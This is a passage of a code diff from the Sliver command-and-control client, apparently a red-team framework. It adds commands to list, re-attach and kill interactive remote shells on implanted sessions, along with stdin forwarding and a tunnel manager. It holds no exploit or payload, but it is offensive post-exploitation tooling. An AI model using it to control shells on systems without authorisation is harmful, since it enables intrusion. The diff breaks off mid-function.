con.Printf("%s\n", console.StyleBold.Render(fmt.Sprintf("Page [%d/%d]", pageNumber+1, len(pages))))
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
if 1 < len(pages) {
|
if 1 < len(pages) {
|
||||||
con.Printf(console.Bold+"Page [%d/%d]\n", pageNumber+1, len(pages))
|
con.Printf("%s\n", console.StyleBold.Render(fmt.Sprintf("Page [%d/%d]", pageNumber+1, len(pages))))
|
||||||
}
|
}
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -6,7 +6,10 @@ Implements the 'shell' command group for the Sliver client console. Handlers map
|
|||||||
|
|
||||||
## Go Files
|
## Go Files
|
||||||
|
|
||||||
- `commands.go` – Exposes the interactive shell command and binds its options.
|
- `commands.go` – Exposes the shell command group (`shell`, `shell ls`, `shell attach`, `shell kill`) and binds options.
|
||||||
|
- `completers.go` – Shell-specific command completion helpers.
|
||||||
- `filter-reader_generic.go` – Provides output filtering for shell streams on POSIX targets.
|
- `filter-reader_generic.go` – Provides output filtering for shell streams on POSIX targets.
|
||||||
- `filter-reader_windows.go` – Implements CRLF-aware filtering and decoding for Windows shell sessions.
|
- `filter-reader_windows.go` – Implements CRLF-aware filtering and decoding for Windows shell sessions.
|
||||||
- `shell.go` – Launches interactive command shells over RPC and manages IO loops.
|
- `ioloop.go` – Handles attached shell stdin forwarding, escape handling, and fast local detach/exit behavior.
|
||||||
|
- `manager.go` – Tracks managed shell tunnels so detached shells can be listed and re-attached.
|
||||||
|
- `shell.go` – Launches/attaches shell tunnels and coordinates managed shell lifecycle.
|
||||||
@@ -5,6 +5,7 @@ import (
|
|||||||
"github.com/bishopfox/sliver/client/command/help"
|
"github.com/bishopfox/sliver/client/command/help"
|
||||||
"github.com/bishopfox/sliver/client/console"
|
"github.com/bishopfox/sliver/client/console"
|
||||||
consts "github.com/bishopfox/sliver/client/constants"
|
consts "github.com/bishopfox/sliver/client/constants"
|
||||||
|
"github.com/rsteube/carapace"
|
||||||
"github.com/spf13/cobra"
|
"github.com/spf13/cobra"
|
||||||
"github.com/spf13/pflag"
|
"github.com/spf13/pflag"
|
||||||
)
|
)
|
||||||
@@ -28,5 +29,46 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
|||||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||||
})
|
})
|
||||||
|
|
||||||
|
shellLsCmd := &cobra.Command{
|
||||||
|
Use: consts.LsStr,
|
||||||
|
Short: "List managed local shell tunnels",
|
||||||
|
Long: help.GetHelpFor([]string{consts.ShellStr}),
|
||||||
|
Run: func(cmd *cobra.Command, args []string) {
|
||||||
|
ShellLsCmd(cmd, con, args)
|
||||||
|
},
|
||||||
|
}
|
||||||
|
shellCmd.AddCommand(shellLsCmd)
|
||||||
|
|
||||||
|
shellAttachCmd := &cobra.Command{
|
||||||
|
Use: "attach <id>",
|
||||||
|
Short: "Attach to a managed local shell tunnel",
|
||||||
|
Long: help.GetHelpFor([]string{consts.ShellStr}),
|
||||||
|
Args: cobra.ExactArgs(1),
|
||||||
|
Run: func(cmd *cobra.Command, args []string) {
|
||||||
|
ShellAttachCmd(cmd, con, args)
|
||||||
|
},
|
||||||
|
}
|
||||||
|
flags.Bind("", false, shellAttachCmd, func(f *pflag.FlagSet) {
|
||||||
|
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||||
|
})
|
||||||
|
shellCmd.AddCommand(shellAttachCmd)
|
||||||
|
carapace.Gen(shellAttachCmd).PositionalCompletion(ShellIDCompleter(con).Usage("managed shell ID"))
|
||||||
|
|
||||||
|
shellKillCmd := &cobra.Command{
|
||||||
|
Use: consts.KillStr + " <id>",
|
||||||
|
Short: "Kill a managed shell and clean up remote process state",
|
||||||
|
Long: help.GetHelpFor([]string{consts.ShellStr}),
|
||||||
|
Args: cobra.ExactArgs(1),
|
||||||
|
Run: func(cmd *cobra.Command, args []string) {
|
||||||
|
ShellKillCmd(cmd, con, args)
|
||||||
|
},
|
||||||
|
}
|
||||||
|
flags.Bind("", false, shellKillCmd, func(f *pflag.FlagSet) {
|
||||||
|
f.BoolP("force", "F", false, "force process cleanup via terminate rpc")
|
||||||
|
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||||
|
})
|
||||||
|
shellCmd.AddCommand(shellKillCmd)
|
||||||
|
carapace.Gen(shellKillCmd).PositionalCompletion(ShellIDCompleter(con).Usage("managed shell ID"))
|
||||||
|
|
||||||
return []*cobra.Command{shellCmd}
|
return []*cobra.Command{shellCmd}
|
||||||
}
|
}
|
||||||
@@ -0,0 +1,30 @@
|
|||||||
|
package shell
|
||||||
|
|
||||||
|
import (
|
||||||
|
"fmt"
|
||||||
|
"strconv"
|
||||||
|
|
||||||
|
"github.com/bishopfox/sliver/client/console"
|
||||||
|
"github.com/rsteube/carapace"
|
||||||
|
)
|
||||||
|
|
||||||
|
// ShellIDCompleter completes IDs of managed local shells.
|
||||||
|
func ShellIDCompleter(_ *console.SliverClient) carapace.Action {
|
||||||
|
callback := func(_ carapace.Context) carapace.Action {
|
||||||
|
results := make([]string, 0)
|
||||||
|
|
||||||
|
managed := shells.List()
|
||||||
|
if len(managed) == 0 {
|
||||||
|
return carapace.ActionMessage("no managed shells")
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, sh := range managed {
|
||||||
|
results = append(results, strconv.Itoa(sh.ID))
|
||||||
|
results = append(results, fmt.Sprintf("%s, pid=%d, state=%s", sessionLabel(sh.SessionID, sh.SessionName), sh.Pid, sh.State()))
|
||||||
|
}
|
||||||
|
|
||||||
|
return carapace.ActionValuesDescribed(results...).Tag("managed shells")
|
||||||
|
}
|
||||||
|
|
||||||
|
return carapace.ActionCallback(callback)
|
||||||
|
}
|
||||||
@@ -0,0 +1,148 @@
|
|||||||
|
package shell
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bufio"
|
||||||
|
"bytes"
|
||||||
|
"io"
|
||||||
|
"log"
|
||||||
|
"os"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
|
||||||
|
"github.com/bishopfox/sliver/client/console"
|
||||||
|
"github.com/bishopfox/sliver/client/core"
|
||||||
|
)
|
||||||
|
|
||||||
|
// runAttachedIO forwards local stdin to a shell tunnel while attached to the shell.
|
||||||
|
// It returns:
|
||||||
|
// - detached=true when user hit escape (Ctrl-])
|
||||||
|
// - closeRequested=true when user requested shell close (EOF/exit/logout)
|
||||||
|
func runAttachedIO(tunnel *core.TunnelIO, con *console.SliverClient) (detached bool, closeRequested bool) {
|
||||||
|
// We can't pipe stdin directly into the tunnel: if the gRPC tunnel send path blocks
|
||||||
|
// (network hang, server gone, etc.) tunnel.Write can block forever and "lock" the
|
||||||
|
// client in shell mode. Instead, buffer stdin locally and look for a local escape key.
|
||||||
|
const (
|
||||||
|
shellEscapeByte = byte(0x1d) // Ctrl-]
|
||||||
|
stdinBufSize = 32 * 1024
|
||||||
|
stdinQueueDepth = 128
|
||||||
|
)
|
||||||
|
|
||||||
|
stdinQueue := make(chan []byte, stdinQueueDepth)
|
||||||
|
stopWriter := make(chan struct{})
|
||||||
|
var writerWG sync.WaitGroup
|
||||||
|
writerWG.Add(1)
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
defer writerWG.Done()
|
||||||
|
defer func() {
|
||||||
|
// Tunnel teardown can race with writes (server-side close, disconnect, etc.).
|
||||||
|
// Don't let a send-on-closed-channel panic bring down the whole client.
|
||||||
|
if r := recover(); r != nil {
|
||||||
|
log.Printf("Shell tunnel writer stopped: %v", r)
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
for {
|
||||||
|
select {
|
||||||
|
case <-stopWriter:
|
||||||
|
return
|
||||||
|
case data, ok := <-stdinQueue:
|
||||||
|
if !ok {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if len(data) == 0 {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
select {
|
||||||
|
case <-stopWriter:
|
||||||
|
return
|
||||||
|
case tunnel.Send <- data:
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
|
||||||
|
defer func() {
|
||||||
|
close(stopWriter)
|
||||||
|
close(stdinQueue)
|
||||||
|
writerWG.Wait()
|
||||||
|
}()
|
||||||
|
|
||||||
|
stdin := newFilterReader(os.Stdin)
|
||||||
|
buf := make([]byte, stdinBufSize)
|
||||||
|
lineBuf := make([]byte, 0, 128)
|
||||||
|
inEscSeq := false
|
||||||
|
log.Printf("Reading from stdin (escape=Ctrl-]) ...")
|
||||||
|
|
||||||
|
for {
|
||||||
|
n, err := stdin.Read(buf)
|
||||||
|
if n > 0 {
|
||||||
|
data := buf[:n]
|
||||||
|
if i := bytes.IndexByte(data, shellEscapeByte); i >= 0 {
|
||||||
|
if i > 0 {
|
||||||
|
// Best-effort: don't block stdin if the tunnel is wedged.
|
||||||
|
dataCopy := append([]byte(nil), data[:i]...)
|
||||||
|
select {
|
||||||
|
case stdinQueue <- dataCopy:
|
||||||
|
default:
|
||||||
|
}
|
||||||
|
}
|
||||||
|
detached = true
|
||||||
|
break
|
||||||
|
}
|
||||||
|
|
||||||
|
exitRequested := false
|
||||||
|
for _, b := range data {
|
||||||
|
if inEscSeq {
|
||||||
|
if b >= 0x40 && b <= 0x7e {
|
||||||
|
inEscSeq = false
|
||||||
|
}
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
switch b {
|
||||||
|
case '\r', '\n':
|
||||||
|
line := strings.TrimSpace(string(lineBuf))
|
||||||
|
if line == "exit" || line == "logout" {
|
||||||
|
exitRequested = true
|
||||||
|
}
|
||||||
|
lineBuf = lineBuf[:0]
|
||||||
|
case 0x1b:
|
||||||
|
inEscSeq = true
|
||||||
|
case 0x08, 0x7f:
|
||||||
|
if len(lineBuf) > 0 {
|
||||||
|
lineBuf = lineBuf[:len(lineBuf)-1]
|
||||||
|
}
|
||||||
|
default:
|
||||||
|
// Keep printable bytes only; ignore control sequences (arrows, etc.).
|
||||||
|
if b >= 0x20 && b <= 0x7e {
|
||||||
|
lineBuf = append(lineBuf, b)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
dataCopy := append([]byte(nil), data...)
|
||||||
|
select {
|
||||||
|
case stdinQueue <- dataCopy:
|
||||||
|
default:
|
||||||
|
// Drop input if the tunnel send path is blocked; still allow escape.
|
||||||
|
}
|
||||||
|
|
||||||
|
if exitRequested {
|
||||||
|
closeRequested = true
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if err != nil {
|
||||||
|
if err != io.EOF {
|
||||||
|
con.PrintErrorf("Error reading from stdin: %s\n", err)
|
||||||
|
}
|
||||||
|
closeRequested = true
|
||||||
|
break
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
log.Printf("Exit interactive")
|
||||||
|
bufio.NewWriter(os.Stdout).Flush()
|
||||||
|
return detached, closeRequested
|
||||||
|
}
|
||||||
@@ -0,0 +1,150 @@
|
|||||||
|
package shell
|
||||||
|
|
||||||
|
import (
|
||||||
|
"io"
|
||||||
|
"log"
|
||||||
|
"sort"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/bishopfox/sliver/client/core"
|
||||||
|
)
|
||||||
|
|
||||||
|
type shellManager struct {
|
||||||
|
mu sync.RWMutex
|
||||||
|
nextID int
|
||||||
|
shells map[int]*managedShell
|
||||||
|
}
|
||||||
|
|
||||||
|
func newShellManager() *shellManager {
|
||||||
|
return &shellManager{
|
||||||
|
nextID: 1,
|
||||||
|
shells: map[int]*managedShell{},
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
var shells = newShellManager()
|
||||||
|
|
||||||
|
type shellState string
|
||||||
|
|
||||||
|
const (
|
||||||
|
shellStateAttached shellState = "attached"
|
||||||
|
shellStateDetached shellState = "detached"
|
||||||
|
shellStateClosing shellState = "closing"
|
||||||
|
)
|
||||||
|
|
||||||
|
type managedShell struct {
|
||||||
|
ID int
|
||||||
|
SessionID string
|
||||||
|
SessionName string
|
||||||
|
Path string
|
||||||
|
Pid uint32
|
||||||
|
TunnelID uint64
|
||||||
|
EnablePTY bool
|
||||||
|
CreatedAt time.Time
|
||||||
|
|
||||||
|
mu sync.RWMutex
|
||||||
|
state shellState
|
||||||
|
tunnel *core.TunnelIO
|
||||||
|
output *swapWriter
|
||||||
|
readerWG sync.WaitGroup
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *managedShell) State() shellState {
|
||||||
|
s.mu.RLock()
|
||||||
|
defer s.mu.RUnlock()
|
||||||
|
return s.state
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *managedShell) setState(state shellState) {
|
||||||
|
s.mu.Lock()
|
||||||
|
defer s.mu.Unlock()
|
||||||
|
s.state = state
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *managedShell) Tunnel() *core.TunnelIO {
|
||||||
|
s.mu.RLock()
|
||||||
|
defer s.mu.RUnlock()
|
||||||
|
return s.tunnel
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *managedShell) SetOutput(w io.Writer) {
|
||||||
|
s.output.Set(w)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *managedShell) startReader(remove func()) {
|
||||||
|
s.readerWG.Add(1)
|
||||||
|
go func() {
|
||||||
|
defer s.readerWG.Done()
|
||||||
|
_, err := io.Copy(s.output, s.tunnel)
|
||||||
|
log.Printf("Shell tunnel reader (id=%d tunnel=%d) exited: %v", s.ID, s.TunnelID, err)
|
||||||
|
remove()
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
|
||||||
|
// swapWriter is an io.Writer whose underlying destination can be swapped at runtime.
|
||||||
|
// This is used so detached shells can keep draining output without clobbering the REPL.
|
||||||
|
type swapWriter struct {
|
||||||
|
mu sync.RWMutex
|
||||||
|
w io.Writer
|
||||||
|
}
|
||||||
|
|
||||||
|
func newSwapWriter(w io.Writer) *swapWriter {
|
||||||
|
return &swapWriter{w: w}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *swapWriter) Set(w io.Writer) {
|
||||||
|
s.mu.Lock()
|
||||||
|
s.w = w
|
||||||
|
s.mu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *swapWriter) Write(p []byte) (int, error) {
|
||||||
|
s.mu.RLock()
|
||||||
|
w := s.w
|
||||||
|
s.mu.RUnlock()
|
||||||
|
if w == nil {
|
||||||
|
return len(p), nil
|
||||||
|
}
|
||||||
|
return w.Write(p)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m *shellManager) Add(sh *managedShell) int {
|
||||||
|
m.mu.Lock()
|
||||||
|
defer m.mu.Unlock()
|
||||||
|
|
||||||
|
id := m.nextID
|
||||||
|
m.nextID++
|
||||||
|
|
||||||
|
sh.ID = id
|
||||||
|
m.shells[id] = sh
|
||||||
|
|
||||||
|
return id
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m *shellManager) Remove(id int) {
|
||||||
|
m.mu.Lock()
|
||||||
|
defer m.mu.Unlock()
|
||||||
|
delete(m.shells, id)
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m *shellManager) Get(id int) (*managedShell, bool) {
|
||||||
|
m.mu.RLock()
|
||||||
|
defer m.mu.RUnlock()
|
||||||
|
sh, ok := m.shells[id]
|
||||||
|
return sh, ok
|
||||||
|
}
|
||||||
|
|
||||||
|
func (m *shellManager) List() []*managedShell {
|
||||||
|
m.mu.RLock()
|
||||||
|
defer m.mu.RUnlock()
|
||||||
|
|
||||||
|
results := make([]*managedShell, 0, len(m.shells))
|
||||||
|
for _, sh := range m.shells {
|
||||||
|
results = append(results, sh)
|
||||||
|
}
|
||||||
|
sort.Slice(results, func(i, j int) bool {
|
||||||
|
return results[i].ID < results[j].ID
|
||||||
|
})
|
||||||
|
return results
|
||||||
|
}
|
||||||
+351
-90
@@ -19,24 +19,34 @@ package shell
|
|||||||
*/
|
*/
|
||||||
|
|
||||||
import (
|
import (
|
||||||
"bufio"
|
|
||||||
"context"
|
"context"
|
||||||
"io"
|
"io"
|
||||||
"log"
|
"log"
|
||||||
"os"
|
"os"
|
||||||
|
"strconv"
|
||||||
|
"strings"
|
||||||
|
"time"
|
||||||
|
|
||||||
"github.com/bishopfox/sliver/client/command/settings"
|
"github.com/bishopfox/sliver/client/command/settings"
|
||||||
"github.com/bishopfox/sliver/client/console"
|
"github.com/bishopfox/sliver/client/console"
|
||||||
"github.com/bishopfox/sliver/client/core"
|
"github.com/bishopfox/sliver/client/core"
|
||||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||||
|
"github.com/jedib0t/go-pretty/v6/table"
|
||||||
"github.com/spf13/cobra"
|
"github.com/spf13/cobra"
|
||||||
"golang.org/x/term"
|
"golang.org/x/term"
|
||||||
)
|
)
|
||||||
|
|
||||||
const (
|
const (
|
||||||
windows = "windows"
|
darwin = "darwin"
|
||||||
darwin = "darwin"
|
linux = "linux"
|
||||||
linux = "linux"
|
)
|
||||||
|
|
||||||
|
type shellResult int
|
||||||
|
|
||||||
|
const (
|
||||||
|
shellExited shellResult = iota
|
||||||
|
shellDetached
|
||||||
|
shellAttachFailed
|
||||||
)
|
)
|
||||||
|
|
||||||
// ShellCmd - Start an interactive shell on the remote system.
|
// ShellCmd - Start an interactive shell on the remote system.
|
||||||
@@ -55,113 +65,364 @@ func ShellCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
|||||||
if con.ActiveTarget.GetSession().OS != linux && con.ActiveTarget.GetSession().OS != darwin {
|
if con.ActiveTarget.GetSession().OS != linux && con.ActiveTarget.GetSession().OS != darwin {
|
||||||
noPty = true // Sliver's PTYs are only supported on linux/darwin
|
noPty = true // Sliver's PTYs are only supported on linux/darwin
|
||||||
}
|
}
|
||||||
runInteractive(cmd, shellPath, noPty, con)
|
|
||||||
con.Println("Shell exited")
|
result := runInteractive(cmd, shellPath, noPty, con, nil)
|
||||||
|
if result == shellDetached {
|
||||||
|
con.Println("Shell detached")
|
||||||
|
} else if result == shellExited {
|
||||||
|
con.Println("Shell exited")
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func runInteractive(cmd *cobra.Command, shellPath string, noPty bool, con *console.SliverClient) {
|
// ShellLsCmd lists local shell tunnels currently managed by the client.
|
||||||
|
func ShellLsCmd(_ *cobra.Command, con *console.SliverClient, _ []string) {
|
||||||
|
managed := shells.List()
|
||||||
|
if len(managed) == 0 {
|
||||||
|
con.PrintInfof("No managed shells\n")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
tw := table.NewWriter()
|
||||||
|
tw.SetStyle(settings.GetTableStyle(con))
|
||||||
|
tw.AppendHeader(table.Row{
|
||||||
|
"ID",
|
||||||
|
"State",
|
||||||
|
"Session",
|
||||||
|
"PID",
|
||||||
|
"PTY",
|
||||||
|
"Tunnel ID",
|
||||||
|
"Path",
|
||||||
|
"Age",
|
||||||
|
})
|
||||||
|
|
||||||
|
now := time.Now()
|
||||||
|
for _, sh := range managed {
|
||||||
|
age := now.Sub(sh.CreatedAt).Round(time.Second).String()
|
||||||
|
if sh.CreatedAt.IsZero() {
|
||||||
|
age = "-"
|
||||||
|
}
|
||||||
|
pid := "-"
|
||||||
|
if sh.Pid > 0 {
|
||||||
|
pid = strconv.FormatUint(uint64(sh.Pid), 10)
|
||||||
|
}
|
||||||
|
|
||||||
|
tw.AppendRow(table.Row{
|
||||||
|
sh.ID,
|
||||||
|
sh.State(),
|
||||||
|
sessionLabel(sh.SessionID, sh.SessionName),
|
||||||
|
pid,
|
||||||
|
sh.EnablePTY,
|
||||||
|
sh.TunnelID,
|
||||||
|
sh.Path,
|
||||||
|
age,
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
con.Printf("%s\n", tw.Render())
|
||||||
|
}
|
||||||
|
|
||||||
|
// ShellAttachCmd re-attaches local stdin/stdout to a managed shell tunnel.
|
||||||
|
func ShellAttachCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||||
|
if len(args) < 1 {
|
||||||
|
con.PrintErrorf("Usage: shell attach <id>\n")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
shellID, err := strconv.Atoi(args[0])
|
||||||
|
if err != nil || shellID <= 0 {
|
||||||
|
con.PrintErrorf("Invalid shell id: %s\n", args[0])
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
sh, ok := shells.Get(shellID)
|
||||||
|
if !ok {
|
||||||
|
con.PrintErrorf("Unknown shell id: %d\n", shellID)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if sh.State() == shellStateAttached {
|
||||||
|
con.PrintErrorf("Shell %d is already attached\n", shellID)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if sh.State() == shellStateClosing {
|
||||||
|
con.PrintErrorf("Shell %d is closing\n", shellID)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
tunnel := sh.Tunnel()
|
||||||
|
if tunnel == nil || !tunnel.IsOpen() {
|
||||||
|
con.PrintErrorf("Shell %d is no longer active\n", shellID)
|
||||||
|
shells.Remove(shellID)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
session := con.ActiveTarget.GetSession()
|
||||||
|
if session == nil || session.ID != sh.SessionID {
|
||||||
|
con.PrintErrorf("Shell %d belongs to %s; switch targets before attaching\n", shellID, sessionLabel(sh.SessionID, sh.SessionName))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
result := runInteractive(cmd, sh.Path, !sh.EnablePTY, con, sh)
|
||||||
|
if result == shellDetached {
|
||||||
|
con.Println("Shell detached")
|
||||||
|
} else if result == shellExited {
|
||||||
|
con.Println("Shell exited")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// ShellKillCmd kills a managed shell from the REPL and cleans up remote state.
|
||||||
|
func ShellKillCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||||
|
if len(args) < 1 {
|
||||||
|
con.PrintErrorf("Usage: shell kill <id>\n")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
shellID, err := strconv.Atoi(args[0])
|
||||||
|
if err != nil || shellID <= 0 {
|
||||||
|
con.PrintErrorf("Invalid shell id: %s\n", args[0])
|
||||||
|
return
|
||||||
|
}
|
||||||
|
force, _ := cmd.Flags().GetBool("force")
|
||||||
|
|
||||||
|
sh, ok := shells.Get(shellID)
|
||||||
|
if !ok {
|
||||||
|
con.PrintErrorf("Unknown shell id: %d\n", shellID)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
session := con.ActiveTarget.GetSession()
|
||||||
|
if session == nil || session.ID != sh.SessionID {
|
||||||
|
con.PrintErrorf("Shell %d belongs to %s; switch targets before killing\n", shellID, sessionLabel(sh.SessionID, sh.SessionName))
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
sh.setState(shellStateClosing)
|
||||||
|
sh.SetOutput(io.Discard)
|
||||||
|
shells.Remove(sh.ID)
|
||||||
|
|
||||||
|
// Best-effort graceful request before closing the tunnel.
|
||||||
|
requestRemoteShellExit(sh.Tunnel())
|
||||||
|
|
||||||
|
if err := closeShellTunnel(con, sh.TunnelID, sh.SessionID); err != nil {
|
||||||
|
con.PrintWarnf("Error closing shell tunnel %d: %s\n", sh.TunnelID, err)
|
||||||
|
}
|
||||||
|
|
||||||
|
if force && sh.Pid > 1 {
|
||||||
|
terminate, err := con.Rpc.Terminate(context.Background(), &sliverpb.TerminateReq{
|
||||||
|
Request: con.ActiveTarget.Request(cmd),
|
||||||
|
Pid: int32(sh.Pid),
|
||||||
|
Force: force,
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
con.PrintWarnf("Error terminating shell process %d: %s\n", sh.Pid, err)
|
||||||
|
} else if terminate.Response != nil && terminate.Response.GetErr() != "" {
|
||||||
|
errMsg := terminate.Response.GetErr()
|
||||||
|
// If shell already exited, that is an acceptable cleanup outcome.
|
||||||
|
if strings.Contains(strings.ToLower(errMsg), "no such process") ||
|
||||||
|
strings.Contains(strings.ToLower(errMsg), "process not found") {
|
||||||
|
con.PrintInfof("Shell process %d already exited\n", sh.Pid)
|
||||||
|
} else {
|
||||||
|
con.PrintWarnf("Terminate response for shell process %d: %s\n", sh.Pid, errMsg)
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
con.PrintInfof("Shell process %d terminated\n", sh.Pid)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if force {
|
||||||
|
con.PrintInfof("Shell %d killed (force)\n", sh.ID)
|
||||||
|
} else {
|
||||||
|
con.PrintInfof("Shell %d killed\n", sh.ID)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func runInteractive(cmd *cobra.Command, shellPath string, noPty bool, con *console.SliverClient, existing *managedShell) shellResult {
|
||||||
con.Println()
|
con.Println()
|
||||||
con.PrintInfof("Wait approximately 10 seconds after exit, and press <enter> to continue\n")
|
con.PrintInfof("Shell management: `shell ls`, `shell attach <id>`\n")
|
||||||
con.PrintInfof("Opening shell tunnel (EOF to exit) ...\n\n")
|
con.PrintInfof("Escape: press Ctrl-] to return to the Sliver client\n")
|
||||||
|
|
||||||
session := con.ActiveTarget.GetSession()
|
session := con.ActiveTarget.GetSession()
|
||||||
if session == nil {
|
if session == nil {
|
||||||
return
|
return shellAttachFailed
|
||||||
}
|
}
|
||||||
|
|
||||||
// Create an RPC tunnel, then start it before binding the shell to the newly created tunnel
|
if existing == nil {
|
||||||
ctxTunnel, cancelTunnel := context.WithCancel(context.Background())
|
con.PrintInfof("Opening shell tunnel ...\n\n")
|
||||||
|
} else {
|
||||||
rpcTunnel, err := con.Rpc.CreateTunnel(ctxTunnel, &sliverpb.Tunnel{
|
con.PrintInfof("Re-attaching to shell %d ...\n\n", existing.ID)
|
||||||
SessionID: session.ID,
|
|
||||||
})
|
|
||||||
defer cancelTunnel()
|
|
||||||
if err != nil {
|
|
||||||
con.PrintErrorf("%s\n", err)
|
|
||||||
return
|
|
||||||
}
|
|
||||||
log.Printf("Created new tunnel with id: %d, binding to shell ...", rpcTunnel.TunnelID)
|
|
||||||
|
|
||||||
// Start() takes an RPC tunnel and creates a local Reader/Writer tunnel object
|
|
||||||
tunnel := core.GetTunnels().Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
|
|
||||||
|
|
||||||
var rows uint32
|
|
||||||
var cols uint32
|
|
||||||
if !noPty {
|
|
||||||
colsInt, rowsInt, err := term.GetSize(int(os.Stdout.Fd()))
|
|
||||||
if err != nil || rowsInt <= 0 || colsInt <= 0 {
|
|
||||||
colsInt, rowsInt, err = term.GetSize(int(os.Stdin.Fd()))
|
|
||||||
}
|
|
||||||
if err == nil && rowsInt > 0 && colsInt > 0 {
|
|
||||||
rows = uint32(rowsInt)
|
|
||||||
cols = uint32(colsInt)
|
|
||||||
}
|
|
||||||
}
|
}
|
||||||
|
|
||||||
shell, err := con.Rpc.Shell(context.Background(), &sliverpb.ShellReq{
|
var (
|
||||||
Request: con.ActiveTarget.Request(cmd),
|
tunnel *core.TunnelIO
|
||||||
Path: shellPath,
|
managed *managedShell
|
||||||
EnablePTY: !noPty,
|
enablePTY bool
|
||||||
Rows: rows,
|
oldState *term.State
|
||||||
Cols: cols,
|
stateSaved bool
|
||||||
TunnelID: tunnel.ID,
|
stopPtySize = func() {}
|
||||||
})
|
err error
|
||||||
if err != nil {
|
)
|
||||||
con.PrintErrorf("%s\n", err)
|
|
||||||
return
|
if existing == nil {
|
||||||
}
|
// Create an RPC tunnel, then start it before binding the shell to the newly created tunnel.
|
||||||
//
|
ctxTunnel, cancelTunnel := context.WithCancel(context.Background())
|
||||||
if shell.Response != nil && shell.Response.Err != "" {
|
defer cancelTunnel()
|
||||||
con.PrintErrorf("Error: %s\n", shell.Response.Err)
|
|
||||||
_, err = con.Rpc.CloseTunnel(context.Background(), &sliverpb.Tunnel{
|
rpcTunnel, err := con.Rpc.CreateTunnel(ctxTunnel, &sliverpb.Tunnel{
|
||||||
TunnelID: tunnel.ID,
|
|
||||||
SessionID: session.ID,
|
SessionID: session.ID,
|
||||||
})
|
})
|
||||||
if err != nil {
|
if err != nil {
|
||||||
con.PrintErrorf("RPC Error: %s\n", err)
|
con.PrintErrorf("%s\n", err)
|
||||||
|
return shellAttachFailed
|
||||||
}
|
}
|
||||||
return
|
log.Printf("Created new tunnel with id: %d, binding to shell ...", rpcTunnel.TunnelID)
|
||||||
}
|
|
||||||
defer tunnel.Close()
|
|
||||||
log.Printf("Bound remote shell pid %d to tunnel %d", shell.Pid, shell.TunnelID)
|
|
||||||
con.PrintInfof("Started remote shell with pid %d\n\n", shell.Pid)
|
|
||||||
|
|
||||||
var oldState *term.State
|
// Start() takes an RPC tunnel and creates a local Reader/Writer tunnel object.
|
||||||
if !noPty {
|
tunnel = core.GetTunnels().Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
|
||||||
|
|
||||||
|
var rows uint32
|
||||||
|
var cols uint32
|
||||||
|
if !noPty {
|
||||||
|
colsInt, rowsInt, err := term.GetSize(int(os.Stdout.Fd()))
|
||||||
|
if err != nil || rowsInt <= 0 || colsInt <= 0 {
|
||||||
|
colsInt, rowsInt, err = term.GetSize(int(os.Stdin.Fd()))
|
||||||
|
}
|
||||||
|
if err == nil && rowsInt > 0 && colsInt > 0 {
|
||||||
|
rows = uint32(rowsInt)
|
||||||
|
